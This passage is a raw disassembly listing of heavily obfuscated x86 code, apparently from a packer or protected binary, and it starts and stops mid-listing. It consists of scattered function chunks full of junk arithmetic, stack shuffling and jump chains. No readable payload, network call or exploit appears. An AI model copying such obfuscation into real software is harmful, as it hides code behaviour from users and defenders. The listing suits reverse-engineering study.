CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599DB7: ; CODE XREF: sub_5AA2D1+5B3Fj push esi mov esi, 8F73D7h sub eax, 29B619E5h sub eax, esi add eax, 29B619E5h mov esi, [esp-0Ch+arg_8] jmp loc_5AF60D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF8FF loc_599DD1: ; CODE XREF: sub_5AF8FF+3j mov [esp+4+var_4], esi push 6F7Eh jmp loc_5AFDBD ; END OF FUNCTION CHUNK FOR sub_5AF8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_599DDE: ; CODE XREF: sub_5A0AA2+2B4j add eax, 47455A1h push dword ptr [esp+0] jmp loc_59CEB4 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_599DEB: ; CODE XREF: sub_59D6B8+129E5j push edx mov edx, 3A1B218Ah add edx, 0C5E4DE77h mov ecx, edx pop edx mov esi, ecx push [esp+4+var_4] mov ecx, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], esi mov esi, esp push ebp push esi mov esi, 0FF45A47h mov ebp, esi jmp loc_5AC258 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_599E21 proc near ; CODE XREF: sub_59CE13+25Bj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059BA03 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A0A7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AD30D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005ADF41 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005B01D8 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edi push esi mov esi, 65EB5311h mov edi, 8D818670h sub edi, esi pop esi mov ebx, 2EF106A4h jmp loc_5B01D8 sub_599E21 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_599E42: ; CODE XREF: sub_59EE3E+10D70j mov ebx, [esp+0] add esp, 4 push edx mov edx, 5504275Ah neg edx jmp loc_59DAA0 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_599E58 proc near ; CODE XREF: sub_5A0FFF+7159j ; sub_59EE3E:loc_5AD6B8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A646B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A90EC SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AB0C5 SIZE 00000005 BYTES push ebp push dword ptr [esp+4] pop ebp jmp loc_5A90EC sub_599E58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_599E63: ; CODE XREF: sub_5AA5F6-79A7j sub al, cl pop ecx mov ebx, [esp-4+arg_0] add esp, 4 push ebx push eax mov ah, 0B0h neg ah shl ah, 5 dec ah add ah, 51h mov bl, ah pop eax add al, bl pop ebx sub al, bl sub al, 50h jmp loc_5A3006 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_599E8C: ; CODE XREF: sub_5992DA+11B51j mov eax, 5C2259DAh xor eax, 64573453h push edx mov edx, 22125D7Fh inc edx push ecx push 31D823F7h pop ecx not ecx push edx mov edx, 6167BB84h sub ecx, edx jmp loc_5A6C3A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_599EB3: ; CODE XREF: sub_5AB08D-D66Aj add eax, edx jmp loc_59F2C7 ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_599EBA: ; CODE XREF: sub_599A6F+16636j mov ah, 76h add ah, 1 jmp loc_5AB3BF ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599EC4: ; CODE XREF: sub_5AA2D1:loc_59DE9Cj ; sub_5A00E2+7CFDj mov [esp-0Ch+arg_8], eax mov eax, 4B95596h shl eax, 4 xor eax, 53741FC1h mov esi, eax mov eax, [esp-0Ch+arg_8] add esp, 4 mov ebx, 18E146A5h xor ebx, esi pop esi push edx mov edx, 6B75156Fh neg edx xor edx, 5C6C4A96h jmp loc_59F058 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_599EF7: ; CODE XREF: sub_5AFA26+6j push eax push 0F1B4273h pop eax xchg eax, edx not edx jmp loc_59FDA0 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_599F06: ; CODE XREF: sub_5A9EC5+4927j push eax jmp loc_59C4A3 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- loc_599F0C: ; CODE XREF: sdfs____:0059DDA4j xchg ebx, [esp] pop esp mov [esp], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5AA4AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_599F29: ; CODE XREF: sub_59C979-33F2j jnz loc_59E60F push small 744Ch mov [esp+2+var_2], cx mov edi, eax loc_599F39: ; CODE XREF: sub_5A3699-804Cj mov ebp, dword ptr [esp+2+var_2] add esp, 4 add ebx, 164137F7h sub ebx, 683C2089h jmp loc_5A210C ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_599F50 proc near ; CODE XREF: sub_599574+9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A385 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_59A385 sub_599F50 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_599F5B: ; CODE XREF: sub_59D6B8+8299j mov [esp+10h+var_10], ecx push edi mov edi, esp jmp loc_59E9A6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_599F66: ; CODE XREF: sub_5B01F7-281Fj mov ebx, 0E7F1E289h sub edi, ebx pop ebx add edx, 39756003h sub edx, edi push ebx mov ebx, 39756003h sub edx, ebx pop ebx jmp loc_5A1852 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_599F84: ; CODE XREF: sub_5AE40A+Bj add ebp, 4 push edi mov edi, 4 jmp loc_59F300 ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3261 loc_599F95: ; CODE XREF: sub_5A3261-6416j add esi, 4 push ebx mov ebx, 1E34100Fh or ebx, 48163466h neg ebx or ebx, 6F33425h jmp loc_59CAB5 ; END OF FUNCTION CHUNK FOR sub_5A3261 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_599FB4: ; CODE XREF: sub_5AA2D1-E67Dj push esp pop eax add eax, 4 add eax, 4 sub esp, 4 mov [esp-0Ch+arg_8], eax push [esp-0Ch+arg_C] pop eax pop [esp-0Ch+arg_8] mov esp, [esp-10h+arg_C] push ecx mov ecx, esp push 1FCh jmp loc_59D7B2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_599FDF: ; CODE XREF: sub_5A7BA0:loc_59C346j or eax, 112D52A3h jz loc_599D28 shl eax, 8 jmp loc_59B91B ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_599FF2: ; CODE XREF: sub_5AD795-BA11j xchg ebp, [esp+0Ch+var_C] jmp loc_5AE4D8 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_599FFA: ; CODE XREF: sub_5A79BE+29CFj add edi, 4 xchg edi, [esp+0] pop esp add ecx, edi jmp loc_5AC116 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_59A008: ; CODE XREF: sub_59FE51+359Cj add edi, edx mov edx, [esp+0] add esp, 4 push ebx push esp jmp loc_5A5E9C ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59A017: ; CODE XREF: sub_5A79BE-8174j mov [esp-4+arg_0], ecx jmp loc_5AD941 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A01F: ; CODE XREF: sub_5992DA+AEC5j ; sub_5AA2D1-386Bj add esp, 4 sub dh, 3Eh jnp loc_5AE237 jmp loc_5A5090 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- sub ebx, 4 mov esi, ecx loc_59A038: ; CODE XREF: sdfs____:005A2CB2j add ebx, 4 sub ebx, 4 jmp loc_59C53C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59A049: ; CODE XREF: sub_5A7BA0-DE6Cj pop esp mov [esp-4+arg_0], edx mov edx, 1 jmp loc_5A14E5 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A057: ; CODE XREF: sub_5AA2D1-62E8j push edx xchg edx, [esp-4+arg_0] not edx xchg edx, [esp-4+arg_0] pop edx jmp loc_59DC4D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D6F loc_59A066: ; CODE XREF: sub_5A9D6F+6446j add al, cl jmp sub_5AA5F6 ; END OF FUNCTION CHUNK FOR sub_5A9D6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A06D: ; CODE XREF: sub_5AA2D1+3CB2j mov ch, al jmp loc_59FBAE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59A074: ; CODE XREF: sub_59A26C+13CDj mov esp, [esp-8+arg_4] jmp loc_5AB059 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59A07C: ; CODE XREF: sub_59A9E9+289Aj ; sub_5AA2D1-680Fj pop ecx push 76E5h mov [esp+0], edi push ecx push eax push 67C2324Dh pop eax xor eax, 67C2324Fh mov ecx, eax pop eax push ecx xor [esp+8+var_8], 5BAB119Fh pop edi xor edi, 5BAB119Fh mov ecx, [esp+4+var_4] jmp loc_5A8613 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A0AC: ; CODE XREF: sub_5992DA+137A6j push [esp+20h+var_22+2] pop eax push 267Dh mov [esp+24h+var_26+2], edx push esp jmp loc_5A3A32 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59A0BE: ; CODE XREF: sub_5A5EFF+2AF5j xchg eax, [esp+0] pop esp mov [esp-4+arg_0], edx jmp sub_59DAB9 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A0CA: ; CODE XREF: sub_5AA2D1+2DBAj pop edi add ebx, 1CCA56E3h mov esi, [esp-0Ch+arg_8] add esp, 4 sub ebx, eax jmp sub_5A0B5D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59A0E1: ; CODE XREF: sub_5A9D64-7050j add ebx, edi mov edi, [esp+4+var_4] jmp sub_59F02F ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- loc_59A0EB: ; CODE XREF: sdfs____:005AF74Bj xor edx, 3FBF3B63h pop ebx mov edi, edx pop edx sub esi, edi jmp loc_5AD8FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59A0FC: ; CODE XREF: sub_5A9EBF-EF7Fj add esp, 4 pop ebp push ebp push 60127D47h mov ebp, [esp+0] add esp, 4 not ebp sub ebp, 7AC83DC3h sub esp, 4 mov [esp+0], esi push ebx mov ebx, 727D2F1Ah inc ebx jz loc_5AFCA2 not ebx sub ebx, 73B83C57h js loc_5ABB93 or ebx, 6C1B1F9Bh sub ebx, 256D889Bh mov esi, ebx mov ebx, [esp+0] add esp, 4 add esi, 10BC646Fh push edi push ebx mov ebx, 2F3B5D2Ah push ebx mov ebx, 12654970h neg ebx jb loc_5A7D96 xor ebx, 30693E6Eh mov al, 68h mov esi, ebp ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59A174: ; CODE XREF: sub_59A479+15A1Fj push [esp+4+var_4] pop edi add esp, 4 jmp loc_59F001 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59A183: ; CODE XREF: sub_5A5EFF-61D0j sub edi, 5813B25Bh mov eax, edi pop edi sub eax, 2C3A4CEAh jmp loc_59B565 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A196: ; CODE XREF: sub_5AA2D1-898Fj push 2000000h push [esp-0Ch+arg_8] jmp loc_5A50F8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59A1A3: ; CODE XREF: sub_59D6B8:loc_59D577j ; sub_5A1F28+1E94j add esp, 4 sub esp, 4 mov [esp+14h+var_14], eax mov eax, 4 add esi, 625D6A98h jmp loc_5A6F25 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A1BF: ; CODE XREF: sub_5AA2D1+9A2j push 1EAAh mov [esp-4+arg_0], eax mov eax, 204F2616h shr eax, 6 not eax add eax, 68A70A86h add eax, 0F4F80C9Dh sub ecx, eax jmp loc_59D8CB ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A1E2: ; CODE XREF: sub_5992DA+A500j mov [esp+28h+var_2A+2], edi mov edi, esp jmp loc_59C2F9 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59A1EC: ; CODE XREF: sub_5AA810+1Aj add esp, 4 jmp loc_5AA4D0 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59A1F4: ; CODE XREF: sub_5992DA+9C1Fj ; sub_5A477C+5F83j shr ecx, 8 jnz loc_5A8A7A add ecx, 5C94AA4h mov eax, ecx pop ecx jmp loc_5AE4DE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A600D loc_59A20B: ; CODE XREF: sub_5A600D-4D62j push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 sub edi, 55436794h sub edi, ebx add edi, 55436794h jmp loc_5A4DC5 ; END OF FUNCTION CHUNK FOR sub_5A600D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_59A22D: ; CODE XREF: sub_59B3C9+16j xchg eax, [esp+0Ch+var_C] pop esp push 4DD1h mov [esp+0Ch+var_C], ebx mov ebx, esp push edi mov edi, 6F0E6947h sub esp, 4 mov [esp+14h+var_14], esi mov esi, 30E3982h or edi, esi pop esi not edi xor edi, 6E0A05D2h add edi, 1047C1Ah jmp loc_5A124A ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_59A262: ; CODE XREF: sub_599D0E+2728j pop cx sub bl, 33h jmp loc_59A694 ; END OF FUNCTION CHUNK FOR sub_599D0E ; =============== S U B R O U T I N E ======================================= sub_59A26C proc near ; CODE XREF: sub_5AA2D1-28D5j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 005991DC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059958C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059A074 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059AB4E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059AE7C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059B62C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059BF49 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059C3AA SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059C6C9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059DD7C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059E07E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E8DC SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059ED71 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F983 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A25E7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A38CC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A4E60 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A596F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A5C24 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A619A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A621F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A6BA5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A7B45 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A7D50 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A8002 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A9345 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005A9521 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A9E42 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA3AE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AA85A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AB7A7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AC8CF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005ACFD2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005AF528 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AF881 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AFCBB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005B0406 SIZE 0000001B BYTES sub esp, 4 mov [esp-4+arg_0], ebp jmp loc_59E8DC sub_59A26C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADBA5 loc_59A27A: ; CODE XREF: sub_5ADBA5+1Cj xor edi, [esp+0] jmp loc_5A38A6 ; END OF FUNCTION CHUNK FOR sub_5ADBA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_59A282: ; CODE XREF: sub_5A16B8+8E8Aj mov edx, 3A47393Bh jmp loc_5A407D ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59A28C: ; CODE XREF: sub_5A8215-A619j push [esp+4+var_4] pop eax push 2117h mov [esp+8+var_8], edx sub esp, 4 push esp pop [esp+10h+var_10] push edx mov edx, 4 jmp loc_59A774 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59961A loc_59A2AA: ; CODE XREF: sub_59961A+2A68j mov ecx, esi pop esi sub ecx, 1 jmp loc_599A7B ; END OF FUNCTION CHUNK FOR sub_59961A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599509 loc_59A2B8: ; CODE XREF: sub_599509+484Ej add esp, 4 jmp loc_59E0A3 ; END OF FUNCTION CHUNK FOR sub_599509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59A2C3: ; CODE XREF: sdfs____:005A4CEEj ; sub_5A7BA0+B8Fj mov ecx, 20966376h not ecx jmp loc_5AB6EC ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A2CF: ; CODE XREF: sub_5AA2D1+1D02j push eax jmp loc_59CB1C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59A2D5: ; CODE XREF: sub_5A8215-B3A5j inc esi sub esi, 6ABD7F91h dec esi sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5A3468 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A2EB: ; CODE XREF: sub_5AA2D1-C3CAj shl esi, 6 jmp loc_59C965 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59A2F3: ; CODE XREF: sub_5AA2D1-A6F5j ; sub_59C979+12B4Fj add ecx, 4 push edi push esi mov esi, 22307AB6h mov edi, esi mov esi, [esp+6+var_6] add esp, 4 sub esp, 4 mov [esp+6+var_6], edx mov edx, 62AA2948h not edx shr edx, 1 push ebp mov ebp, 2C7A70A9h jmp loc_5A639F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59A328: ; CODE XREF: sub_5A2E28-77B8j ; sub_5AFD37-1248Dj jnz loc_5A62AB jmp loc_5A6D68 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- xchg edi, [esp] jmp loc_59ADA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_59A33B: ; CODE XREF: sub_59EE3E+28B0j jmp sub_5AF2D9 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A405F loc_59A340: ; CODE XREF: sub_5A405F+35B9j push 4 pop ecx add ebx, ecx mov ecx, [esp+0] jmp loc_5993FC ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- loc_59A350: ; CODE XREF: sdfs____:loc_59A7CDj xor eax, 0BFFFD7C9h push ecx mov ecx, eax push ecx pop ebp pop ecx pop eax sub edx, 32F49F6h add edx, 4B3E2A7Fh jmp loc_5A4662 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_59A36D: ; CODE XREF: sub_5A2E41-6F61j xor edi, 5EF47900h jns loc_5A3B08 shr edi, 3 jmp loc_5A74D6 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- pop edx add bl, 8 ; START OF FUNCTION CHUNK FOR sub_599F50 loc_59A385: ; CODE XREF: sub_599F50+6j mov esi, esp jmp sub_5A489F ; END OF FUNCTION CHUNK FOR sub_599F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_59A38C: ; CODE XREF: sub_5A0924+7651j shl esi, 3 sub esi, 43A07589h sub esi, 1A2E06BDh dec esi sub esi, 82A5F485h xor eax, esi jmp loc_5A2B45 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_5A2407 sub esi, 67005B04h push ecx jmp loc_5A1741 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A3C0: ; CODE XREF: sub_5AA2D1-4DC6j pop edi push 786Eh mov [esp+0], ebx mov ebx, 137B281Dh shl ebx, 1 jmp loc_5AAD1D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0B5D loc_59A3D5: ; CODE XREF: sub_5A0B5D+7j pop eax sub esp, 4 mov [esp+0Ch+var_C], edi mov edi, 0E87FFE5Bh jmp loc_5ADA64 ; END OF FUNCTION CHUNK FOR sub_5A0B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_59A3E9: ; CODE XREF: sub_59B2E4+9D32j xor ecx, edi pop edi jmp loc_59AF18 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0CD9 loc_59A3F1: ; CODE XREF: sub_5A0CD9+3j mov [esp+0], esi jmp sub_5A5956 ; END OF FUNCTION CHUNK FOR sub_5A0CD9 ; --------------------------------------------------------------------------- loc_59A3F9: ; CODE XREF: sdfs____:005A1ED5j sub esp, 4 jmp loc_5ACB2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A404: ; CODE XREF: sub_5AA2D1-88j sub edx, esi add edx, 39C25A60h pop esi jmp loc_5A3ABA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_59A412: ; CODE XREF: sub_5A633D-7BF3j pop ecx mov eax, ecx push [esp-4+arg_0] jmp loc_5AEDF4 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F18C loc_59A41D: ; CODE XREF: sub_59F18C+9j add edi, 4 xchg edi, [esp+0] pop esp push eax mov eax, 366CC8h add eax, 20DB3170h push ecx mov ecx, 292B4F63h and eax, ecx pop ecx inc eax xor eax, 21010E25h add ebp, eax pop eax push edx mov edx, 2 add ebp, edx pop edx xor ebp, [esp-4+arg_0] xor [esp-4+arg_0], ebp jmp loc_5A57E0 ; END OF FUNCTION CHUNK FOR sub_59F18C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59A458: ; CODE XREF: sub_5AA2D1+2BDBj add al, 0AAh add al, 6Ah mov ecx, [esp-4+arg_0] add esp, 4 xor bl, al movzx eax, al jmp loc_5A7A4F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_59A46C proc near ; DATA XREF: sdfs____:00598E8Co lodsb jmp sub_59AD5D sub_59A46C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_59A472: ; CODE XREF: sub_5A9EBF-E351j sub ecx, esi jmp loc_5A74C1 ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_59A479 proc near ; CODE XREF: sub_5A005A+23j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059A174 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059AB74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059B6A4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059E707 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059F001 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059F9BD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A13A8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A3382 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A4051 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A4817 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A4D00 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A51EF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A5884 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A6C30 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A783F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A793F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8184 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA8B4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AB4AC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB837 SIZE 00000008 BYTES ; FUNCTION 